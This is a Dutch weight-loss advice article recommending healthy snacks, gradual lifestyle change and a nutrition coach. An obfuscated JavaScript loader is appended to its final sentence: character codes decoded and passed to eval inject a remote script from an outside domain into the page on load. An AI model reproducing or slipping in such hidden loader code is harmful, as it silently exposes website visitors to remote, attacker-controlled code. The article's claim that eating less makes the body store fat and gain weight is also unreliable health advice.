Wil jij een aantal kilo kwijt en heb je al verschillende diëten geprobeerd, verschillende dingen tijden niet gegeten en af en toe aan sport gedaan? Vaak val je dan in een keer veel af, maar zitten de kilo’s er ook zo weer aan. Door zo af te vallen ben je eigenlijk niet gezond bezig. Hier een aantal tips om wél gezond af te vallen.
Afslanken door te blijven eten
Blijf vooral eten. Meestal wanneer je aan het afvallen bent moet je meer eten dan dat je eigenlijk gewend bent. Maar dan natuurlijk wel gezonde dingen. Neem in plaats van een koekje of een snoepje tussendoor, een rijstwafel of een stukje groente. Hier zitten veel minder calorieën in en deze zijn net zo vullend. Daarnaast helpt het ook niet om te minderen met eten omdat je lichaam dan vet gaat opslaan, waardoor je juist aankomt.
Val niet te snel te veel af
Gooi niet in een keer je complete levensstijl om. Bijvoorbeeld door ineens heel veel te gaan sporten of door ineens heel gezond te gaan eten. Dit ga je namelijk toch niet volhouden. Het ongezonde eten is er langzaam ingeslopen, nu moet het gezonde eten en sporten er langzaam insluipen. Daarom moet je alles langzamerhand opbouwen. Begin met het vervangen van de snack en werk langzaam naar het vervangen van je hoofdmaaltijden naar gezonde maaltijden. En wanneer je een keertje behoefte hebt aan iets ongezonds dan moet dit natuurlijk gewoon kunnen, straf je zelf dan niet. Ook het sporten moet je langzaam opbouwen, loop niet te hard van stapel, want dat houd je niet vol.
Afvallen met voedingscoach
Dit waren een aantal tips hoe je het zelf zou kunnen proberen. Als je denkt het niet zelf te kunnen, dan adviseren we je om te kiezen voor afvallen met een voedingscoach. Deze mensen hebben ontzettend veel verstand van voeding en kunnen jou ondersteunen tijdens het afvallen. Samen met jouw voedingscoach stel je namelijk doelen op en die gaan jullie dan ook samen behalen. Daarnaast hebben voedingscoaches allemaal verschillende gezonde gerechten die gezond eten nog lekkerder maken.var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
